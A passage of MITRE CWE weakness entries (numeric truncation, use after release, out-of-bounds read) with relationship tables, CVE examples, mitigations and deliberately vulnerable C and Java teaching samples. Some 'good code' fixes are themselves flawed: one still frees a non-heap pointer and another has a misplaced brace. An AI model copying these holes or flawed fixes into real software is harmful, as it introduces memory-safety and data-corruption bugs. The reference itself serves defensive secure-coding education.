CanAlsoBe	Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.	194	Unexpected Sign Extension
CanAlsoBe	Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.	195	Signed to Unsigned Conversion Error
CanAlsoBe	Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.	196	Unsigned to Signed Conversion Error

Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)

Nature	Type	ID	Name
ChildOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	681	Incorrect Conversion between Numeric Types

Relevant to the view "CISQ Data Protection Measures" (CWE-1340)

Nature	Type	ID	Name
ChildOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	681	Incorrect Conversion between Numeric Types

Modes Of Introduction

Phase	Note
Implementation

Applicable Platforms

Languages

C (Undetermined Prevalence)

C++ (Undetermined Prevalence)

Java (Undetermined Prevalence)

C# (Undetermined Prevalence)

Common Consequences

Scope	Impact	Likelihood
Integrity	Technical Impact: Modify Memory The true value of the data is lost and corrupted data is used.

Likelihood Of Exploit

Low

Demonstrative Examples

Example 1

This example, while not exploitable, shows the possible mangling of values associated with truncation errors:

(bad code)

Example Language: C

int intPrimitive;
short shortPrimitive;
intPrimitive = (int)(~((int)0) ^ (1 << (sizeof(int)*8-1)));
shortPrimitive = intPrimitive;
printf("Int MAXINT: %d\nShort MAXINT: %d\n", intPrimitive, shortPrimitive);

The above code, when compiled and run on certain systems, returns the following output:

(result)

Int MAXINT: 2147483647
Short MAXINT: -1

This problem may be exploitable when the truncated value is used as an array index, which can happen implicitly when 64-bit values are used as indexes, as they are truncated to 32 bits.

Example 2

In the following Java example, the method updateSalesForProduct is part of a business application class that updates the sales information for a particular product. The method receives as arguments the product ID and the integer amount sold. The product ID is used to retrieve the total product count from an inventory object which returns the count as an integer. Before calling the method of the sales object to update the sales count the integer values are converted to The primitive type short since the method requires short type for the method arguments.

(bad code)

Example Language: Java

...
// update sales database for number of product sold with product ID
public void updateSalesForProduct(String productID, int amountSold) {

// get the total number of products in inventory database
int productCount = inventory.getProductCount(productID);
// convert integer values to short, the method for the

// sales object requires the parameters to be of type short
short count = (short) productCount;
short sold = (short) amountSold;
// update sales database for product
sales.updateSalesCount(productID, count, sold);

}
...

However, a numeric truncation error can occur if the integer values are higher than the maximum value allowed for the primitive type short. This can cause unexpected results or loss or corruption of data. In this case the sales database may be corrupted with incorrect data. Explicit casting from a from a larger size primitive type to a smaller size primitive type should be prevented. The following example an if statement is added to validate that the integer values less than the maximum value for the primitive type short before the explicit cast and the call to the sales method.

(good code)

Example Language: Java

...
// update sales database for number of product sold with product ID
public void updateSalesForProduct(String productID, int amountSold) {

// get the total number of products in inventory database
int productCount = inventory.getProductCount(productID);
// make sure that integer numbers are not greater than

// maximum value for type short before converting
if ((productCount < Short.MAX_VALUE) && (amountSold < Short.MAX_VALUE)) {

// convert integer values to short, the method for the

// sales object requires the parameters to be of type short
short count = (short) productCount;
short sold = (short) amountSold;
// update sales database for product
sales.updateSalesCount(productID, count, sold);

else {
// throw exception or perform other processing

...

}

}
...

Observed Examples

Reference	Description
CVE-2020-17087	Chain: integer truncation (CWE-197) causes small buffer allocation (CWE-131) leading to out-of-bounds write (CWE-787) in kernel pool, as exploited in the wild per CISA KEV.
CVE-2009-0231	Integer truncation of length value leads to heap-based buffer overflow.
CVE-2008-3282	Size of a particular type changes for 64-bit platforms, leading to an integer truncation in document processor causes incorrect index to be generated.

Potential Mitigations

Phase: Implementation

Ensure that no casts, implicit or explicit, take place that move from a larger size primitive or a smaller size primitive.

Detection Methods

Fuzzing

Effectiveness: High

Automated Static Analysis

Effectiveness: High

Memberships

Nature	Type	ID	Name
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	738	CERT C Secure Coding Standard (2008) Chapter 5 - Integers (INT)
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	848	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 5 - Numeric Types and Operations (NUM)
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	872	CERT C++ Secure Coding Section 04 - Integers (INT)
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	998	SFP Secondary Cluster: Glitch in Computation
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1137	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 03. Numeric Types and Operations (NUM)
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1158	SEI CERT C Coding Standard - Guidelines 04. Integers (INT)
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1159	SEI CERT C Coding Standard - Guidelines 05. Floating Point (FLP)
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1163	SEI CERT C Coding Standard - Guidelines 09. Input Output (FIO)
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1416	Comprehensive Categorization: Resource Lifecycle Management

Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Notes

Research Gap

This weakness has traditionally been under-studied and under-reported, although vulnerabilities in popular software have been published in 2008 and 2009.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Numeric truncation error
CLASP			Truncation error
CERT C Secure Coding	FIO34-C	CWE More Abstract	Distinguish between characters read from a file and EOF or WEOF
CERT C Secure Coding	FLP34-C	CWE More Abstract	Ensure that floating point conversions are within range of the new type
CERT C Secure Coding	INT02-C		Understand integer conversion rules
CERT C Secure Coding	INT05-C		Do not use input functions to convert character data if they cannot handle all possible inputs
CERT C Secure Coding	INT31-C	CWE More Abstract	Ensure that integer conversions do not result in lost or misinterpreted data
The CERT Oracle Secure Coding Standard for Java (2011)	NUM12-J		Ensure conversions of numeric types to narrower types do not result in lost or misinterpreted data
Software Fault Patterns	SFP1		Glitch in computation

References

[REF-62] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 6, "Truncation", Page 259. 1st Edition. Addison Wesley. 2006.

Content History

Submissions
Submission Date	Submitter	Organization
2006-07-19 (CWE Draft 3, 2006-07-19)	PLOVER
2006-07-19 (CWE Draft 3, 2006-07-19)
Modifications
Modification Date	Modifier	Organization
2008-09-08	CWE Content Team	MITRE
2008-09-08	updated Applicable_Platforms, Common_Consequences, Relationships, Other_Notes, Taxonomy_Mappings
2008-11-24	CWE Content Team	MITRE
2008-11-24	updated Relationships, Taxonomy_Mappings
2009-05-27	CWE Content Team	MITRE
2009-05-27	updated Demonstrative_Examples
2009-07-27	CWE Content Team	MITRE
2009-07-27	updated Description, Observed_Examples, Other_Notes, Research_Gaps
2010-12-13	CWE Content Team	MITRE
2010-12-13	updated Demonstrative_Examples
2011-06-01	CWE Content Team	MITRE
2011-06-01	updated Common_Consequences, Relationships, Taxonomy_Mappings
2011-09-13	CWE Content Team	MITRE
2011-09-13	updated Relationships, Taxonomy_Mappings
2012-05-11	CWE Content Team	MITRE
2012-05-11	updated References, Relationships, Taxonomy_Mappings
2014-07-30	CWE Content Team	MITRE
2014-07-30	updated Relationships, Taxonomy_Mappings
2017-11-08	CWE Content Team	MITRE
2017-11-08	updated Taxonomy_Mappings
2019-01-03	CWE Content Team	MITRE
2019-01-03	updated Relationships, Taxonomy_Mappings
2020-02-24	CWE Content Team	MITRE
2020-02-24	updated Relationships
2020-08-20	CWE Content Team	MITRE
2020-08-20	updated Relationships
2020-12-10	CWE Content Team	MITRE
2020-12-10	updated Relationships
2022-06-28	CWE Content Team	MITRE
2022-06-28	updated Observed_Examples
2023-04-27	CWE Content Team	MITRE
2023-04-27	updated Detection_Factors, Relationships
2023-06-29	CWE Content Team	MITRE
2023-06-29	updated Mapping_Notes

Weakness ID: 672

Vulnerability Mapping: ALLOWEDThis CWE ID could be used to map to real-world vulnerabilities in limited situations requiring careful review (with careful review of mapping notes)
Abstraction: ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.

View customized information:

Description

The product uses, accesses, or otherwise operates on a resource after that resource has been expired, released, or revoked.

Relationships

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name
ChildOf	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	666	Operation on Resource in Wrong Phase of Lifetime
ParentOf	Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.	298	Improper Validation of Certificate Expiration
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	324	Use of a Key Past its Expiration Date
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	613	Insufficient Session Expiration
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	825	Expired Pointer Dereference
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	910	Use of Expired File Descriptor
CanFollow	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	562	Return of Stack Variable Address
CanFollow	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	826	Premature Release of Resource During Expected Lifetime
CanFollow	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	911	Improper Update of Reference Count
CanFollow	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	1341	Multiple Releases of Same Resource or Handle

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name
ParentOf	Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.	415	Double Free
ParentOf	Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.	416	Use After Free
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	613	Insufficient Session Expiration

Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)

Nature	Type	ID	Name
ParentOf	Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.	415	Double Free
ParentOf	Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.	416	Use After Free

Relevant to the view "CISQ Data Protection Measures" (CWE-1340)

Nature	Type	ID	Name
ParentOf	Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.	415	Double Free
ParentOf	Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.	416	Use After Free

Modes Of Introduction

Phase	Note
Implementation
Operation

Applicable Platforms

Languages

Class: Not Language-Specific (Undetermined Prevalence)

Technologies

Class: Mobile (Undetermined Prevalence)

Common Consequences

Scope	Impact	Likelihood
Integrity Confidentiality	Technical Impact: Modify Application Data; Read Application Data If a released resource is subsequently reused or reallocated, then an attempt to use the original resource might allow access to sensitive data that is associated with a different user or entity.
Other Availability	Technical Impact: Other; DoS: Crash, Exit, or Restart When a resource is released it might not be in an expected state, later attempts to access the resource may lead to resultant errors that may lead to a crash.

Demonstrative Examples

Example 1

The following code shows a simple example of a use after free error:

(bad code)

Example Language: C

char* ptr = (char*)malloc (SIZE);
if (err) {

abrt = 1;
free(ptr);

}
...
if (abrt) {

logError("operation aborted before commit", ptr);

}

When an error occurs, the pointer is immediately freed. However, this pointer is later incorrectly used in the logError function.

Example 2

The following code shows a simple example of a double free error:

(bad code)

Example Language: C

char* ptr = (char*)malloc (SIZE);
...
if (abrt) {

free(ptr);

}
...
free(ptr);

Double free vulnerabilities have two common (and sometimes overlapping) causes:

Error conditions and other exceptional circumstances
Confusion over which part of the program is responsible for freeing the memory

Example 3

In the following C/C++ example the method processMessage is used to process a message received in the input array of char arrays. The input message array contains two char arrays: the first is the length of the message and the second is the body of the message. The length of the message is retrieved and used to allocate enough memory for a local char array, messageBody, to be created for the message body. The messageBody is processed in the method processMessageBody that will return an error if an error occurs while processing. If an error occurs then the return result variable is set to indicate an error and the messageBody char array memory is released using the method free and an error message is sent to the logError method.

(bad code)

Example Language: C

#define FAIL 0
#define SUCCESS 1
#define ERROR -1
#define MAX_MESSAGE_SIZE 32

int processMessage(char **message)
{

int result = SUCCESS;

int length = getMessageLength(message[0]);
char *messageBody;

if ((length > 0) && (length < MAX_MESSAGE_SIZE)) {

messageBody = (char*)malloc(length*sizeof(char));
messageBody = &message[1][0];

int success = processMessageBody(messageBody);

if (success == ERROR) {

result = ERROR;
free(messageBody);

}

}
else {

printf("Unable to process message; invalid message length");
result = FAIL;

}

if (result == ERROR) {

logError("Error processing message", messageBody);

}

return result;

}

However, the call to the method logError includes the messageBody after the memory for messageBody has been released using the free method. This can cause unexpected results and may lead to system crashes. A variable should never be used after its memory resources have been released.

(good code)

Example Language: C

...
messageBody = (char*)malloc(length*sizeof(char));
messageBody = &message[1][0];

int success = processMessageBody(messageBody);

if (success == ERROR) {

result = ERROR;
logError("Error processing message", messageBody);
free(messageBody);

}
...

Observed Examples

Reference	Description
CVE-2009-3547	Chain: race condition (CWE-362) might allow resource to be released before operating on it, leading to NULL dereference (CWE-476)

Memberships

Nature	Type	ID	Name
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	808	2010 Top 25 - Weaknesses On the Cusp
MemberOf	View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).	884	CWE Cross-section
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	983	SFP Secondary Cluster: Faulty Resource Use
MemberOf	View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).	1003	Weaknesses for Simplified Mapping of Published Vulnerabilities
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1131	CISQ Quality Measures (2016) - Security
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1162	SEI CERT C Coding Standard - Guidelines 08. Memory Management (MEM)
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1163	SEI CERT C Coding Standard - Guidelines 09. Input Output (FIO)
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1306	CISQ Quality Measures - Reliability
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1308	CISQ Quality Measures - Security
MemberOf	View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).	1340	CISQ Data Protection Measures
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1415	Comprehensive Categorization: Resource Control

Vulnerability Mapping Notes

Usage: ALLOWED-WITH-REVIEW

(this CWE ID could be used to map to real-world vulnerabilities in limited situations requiring careful review)

Reason: Abstraction

Rationale:

This CWE entry is a Class and might have Base-level children that would be more appropriate

Comments:

Examine children of this entry to see if there is a better fit

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
Software Fault Patterns	SFP15		Faulty Resource Use
CERT C Secure Coding	FIO46-C	CWE More Abstract	Do not access a closed file
CERT C Secure Coding	MEM30-C	CWE More Abstract	Do not access freed memory
OMG ASCSM	ASCSM-CWE-672

References

[REF-962] Object Management Group (OMG). "Automated Source Code Security Measure (ASCSM)". ASCSM-CWE-672. 2016-01. <http://www.omg.org/spec/ASCSM/1.0/>.

Content History

Submissions
Submission Date	Submitter	Organization
2008-04-11 (CWE Draft 9, 2008-04-11)	CWE Content Team	MITRE
2008-04-11 (CWE Draft 9, 2008-04-11)
Modifications
Modification Date	Modifier	Organization
2008-07-01	Eric Dalci	Cigital
2008-07-01	updated Time_of_Introduction
2008-09-08	CWE Content Team	MITRE
2008-09-08	updated Relationships
2010-02-16	CWE Content Team	MITRE
2010-02-16	updated Demonstrative_Examples, Description, Name, Relationships
2010-09-27	CWE Content Team	MITRE
2010-09-27	updated Observed_Examples, Relationships
2011-06-01	CWE Content Team	MITRE
2011-06-01	updated Common_Consequences
2012-05-11	CWE Content Team	MITRE
2012-05-11	updated Common_Consequences, Demonstrative_Examples, Relationships
2013-02-21	CWE Content Team	MITRE
2013-02-21	updated Relationships
2014-02-18	CWE Content Team	MITRE
2014-02-18	updated Applicable_Platforms
2014-07-30	CWE Content Team	MITRE
2014-07-30	updated Relationships, Taxonomy_Mappings
2017-11-08	CWE Content Team	MITRE
2017-11-08	updated Demonstrative_Examples, Taxonomy_Mappings
2019-01-03	CWE Content Team	MITRE
2019-01-03	updated References, Relationships, Taxonomy_Mappings
2019-06-20	CWE Content Team	MITRE
2019-06-20	updated Relationships, Type
2020-02-24	CWE Content Team	MITRE
2020-02-24	updated Applicable_Platforms, Relationships
2020-08-20	CWE Content Team	MITRE
2020-08-20	updated Relationships
2020-12-10	CWE Content Team	MITRE
2020-12-10	updated Relationships
2021-10-28	CWE Content Team	MITRE
2021-10-28	updated Relationships
2023-01-31	CWE Content Team	MITRE
2023-01-31	updated Description
2023-04-27	CWE Content Team	MITRE
2023-04-27	updated Relationships, Time_of_Introduction
2023-06-29	CWE Content Team	MITRE
2023-06-29	updated Mapping_Notes
2023-10-26	CWE Content Team	MITRE
2023-10-26	updated Observed_Examples
Previous Entry Names
Change Date	Previous Entry Name
2010-02-16	Use of a Resource after Expiration or Release

Weakness ID: 125

View customized information:

Description

The product reads data past the end, or before the beginning, of the intended buffer.

Extended Description

Typically, this can allow attackers to read sensitive information from other memory locations or cause a crash. A crash can occur when the code reads a variable amount of data and assumes that a sentinel exists to stop the read operation, such as a NUL in a string. The expected sentinel might not be located in the out-of-bounds memory, causing excessive data to be read, leading to a segmentation fault or a buffer overflow. The product may modify an index or perform pointer arithmetic that references a memory location that is outside of the boundaries of the buffer. A subsequent read operation then produces undefined or unexpected results.

Relationships

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name
ChildOf	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	119	Improper Restriction of Operations within the Bounds of a Memory Buffer
ParentOf	Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.	126	Buffer Over-read
ParentOf	Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.	127	Buffer Under-read
CanFollow	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	822	Untrusted Pointer Dereference
CanFollow	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	823	Use of Out-of-range Pointer Offset
CanFollow	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	824	Access of Uninitialized Pointer
CanFollow	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	825	Expired Pointer Dereference

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1218	Memory Buffer Errors

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name
ChildOf	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	119	Improper Restriction of Operations within the Bounds of a Memory Buffer

Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)

Nature	Type	ID	Name
ChildOf	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	119	Improper Restriction of Operations within the Bounds of a Memory Buffer

Relevant to the view "CISQ Data Protection Measures" (CWE-1340)

Nature	Type	ID	Name
ChildOf	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	119	Improper Restriction of Operations within the Bounds of a Memory Buffer

Modes Of Introduction

Phase	Note
Implementation

Applicable Platforms

Languages

C (Undetermined Prevalence)

C++ (Undetermined Prevalence)

Technologies

Class: ICS/OT (Often Prevalent)

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Technical Impact: Read Memory
Confidentiality	Technical Impact: Bypass Protection Mechanism By reading out-of-bounds memory, an attacker might be able to get secret values, such as memory addresses, which can be bypass protection mechanisms such as ASLR in order to improve the reliability and likelihood of exploiting a separate weakness to achieve code execution instead of just denial of service.

Demonstrative Examples

Example 1

In the following code, the method retrieves a value from an array at a specific array index location that is given as an input parameter to the method

(bad code)

Example Language: C

int getValueFromArray(int *array, int len, int index) {

int value;

// check that the array index is less than the maximum

// length of the array
if (index < len) {

// get the value at the specified index of the array
value = array[index];

}
// if array index is invalid then output error message

// and return value indicating error
else {

printf("Value is: %d\n", array[index]);
value = -1;

}

return value;

}

(good code)

Example Language: C

...

// check that the array index is within the correct

// range of values for the array
if (index >= 0 && index < len) {

...

Observed Examples

Reference	Description
CVE-2020-11899	Out-of-bounds read in IP stack used in embedded systems, as exploited in the wild per CISA KEV.
CVE-2014-0160	Chain: "Heartbleed" bug receives an inconsistent length parameter (CWE-130) enabling an out-of-bounds read (CWE-126), returning memory that could include private cryptographic keys and other sensitive data.
CVE-2021-40985	HTML conversion package has a buffer under-read, allowing a crash
CVE-2018-10887	Chain: unexpected sign extension (CWE-194) leads to integer overflow (CWE-190), causing an out-of-bounds read (CWE-125)
CVE-2009-2523	Chain: product does not handle when an input string is not NULL terminated (CWE-170), leading to buffer over-read (CWE-125) or heap-based buffer overflow (CWE-122).
CVE-2018-16069	Chain: series of floating-point precision errors (CWE-1339) in a web browser rendering engine causes out-of-bounds read (CWE-125), giving access to cross-origin data
CVE-2004-0112	out-of-bounds read due to improper length check
CVE-2004-0183	packet with large number of specified elements cause out-of-bounds read.
CVE-2004-0221	packet with large number of specified elements cause out-of-bounds read.
CVE-2004-0184	out-of-bounds read, resultant from integer underflow
CVE-2004-1940	large length value causes out-of-bounds read
CVE-2004-0421	malformed image causes out-of-bounds read
CVE-2008-4113	OS kernel trusts userland-supplied length value, allowing reading of sensitive information

Potential Mitigations

Phase: Implementation

Strategy: Input Validation

To reduce the likelihood of introducing an out-of-bounds read, ensure that you validate and ensure correct calculations for any length argument, buffer size calculation, or offset. Be especially careful of relying on a sentinel (i.e. special character such as NUL) in untrusted inputs.

Phase: Architecture and Design

Strategy: Language Selection

Use a language that provides appropriate memory abstractions.

Weakness Ordinalities

Ordinality	Description
Primary	(where the weakness exists independent of other weaknesses)

Detection Methods

Fuzzing

Effectiveness: High

Automated Static Analysis

Effectiveness: High

Memberships

Nature	Type	ID	Name
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	970	SFP Secondary Cluster: Faulty Buffer Access
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1157	SEI CERT C Coding Standard - Guidelines 03. Expressions (EXP)
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1160	SEI CERT C Coding Standard - Guidelines 06. Arrays (ARR)
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1161	SEI CERT C Coding Standard - Guidelines 07. Characters and Strings (STR)
MemberOf	View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).	1200	Weaknesses in the 2019 CWE Top 25 Most Dangerous Software Errors
MemberOf	View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).	1337	Weaknesses in the 2021 CWE Top 25 Most Dangerous Software Weaknesses
MemberOf	View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).	1350	Weaknesses in the 2020 CWE Top 25 Most Dangerous Software Weaknesses
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1366	ICS Communications: Frail Security in Protocols
MemberOf	View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).	1387	Weaknesses in the 2022 CWE Top 25 Most Dangerous Software Weaknesses
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1399	Comprehensive Categorization: Memory Safety
MemberOf	View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).	1425	Weaknesses in the 2023 CWE Top 25 Most Dangerous Software Weaknesses

Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Out-of-bounds Read
CERT C Secure Coding	ARR30-C	Imprecise	Do not form or use out-of-bounds pointers or array subscripts
CERT C Secure Coding	ARR38-C	Imprecise	Guarantee that library functions do not form invalid pointers
CERT C Secure Coding	EXP39-C	Imprecise	Do not access a variable through a pointer of an incompatible type
CERT C Secure Coding	STR31-C	Imprecise	Guarantee that storage for strings has sufficient space for character data and the null terminator
CERT C Secure Coding	STR32-C	CWE More Abstract	Do not pass a non-null-terminated character sequence to a library function that expects a string
Software Fault Patterns	SFP8		Faulty Buffer Access

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
CAPEC-540	Overread Buffers

References

[REF-1034] Raoul Strackx, Yves Younan, Pieter Philippaerts, Frank Piessens, Sven Lachmund and Thomas Walter. "Breaking the memory secrecy assumption". ACM. 2009-03-31. <https://dl.acm.org/doi/10.1145/1519144.1519145>. URL validated: 2023-04-07.

[REF-1035] Fermin J. Serna. "The info leak era on software exploitation". 2012-07-25. <https://media.blackhat.com/bh-us-12/Briefings/Serna/BH_US_12_Serna_Leak_Era_Slides.pdf>.

[REF-44] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 5: Buffer Overruns." Page 89. McGraw-Hill. 2010.

Content History

Submissions
Submission Date	Submitter	Organization
2006-07-19 (CWE Draft 3, 2006-07-19)	PLOVER
2006-07-19 (CWE Draft 3, 2006-07-19)
Modifications
Modification Date	Modifier	Organization
2008-09-08	CWE Content Team	MITRE
2008-09-08	updated Applicable_Platforms, Relationships, Taxonomy_Mappings, Weakness_Ordinalities
2009-10-29	CWE Content Team	MITRE
2009-10-29	updated Description
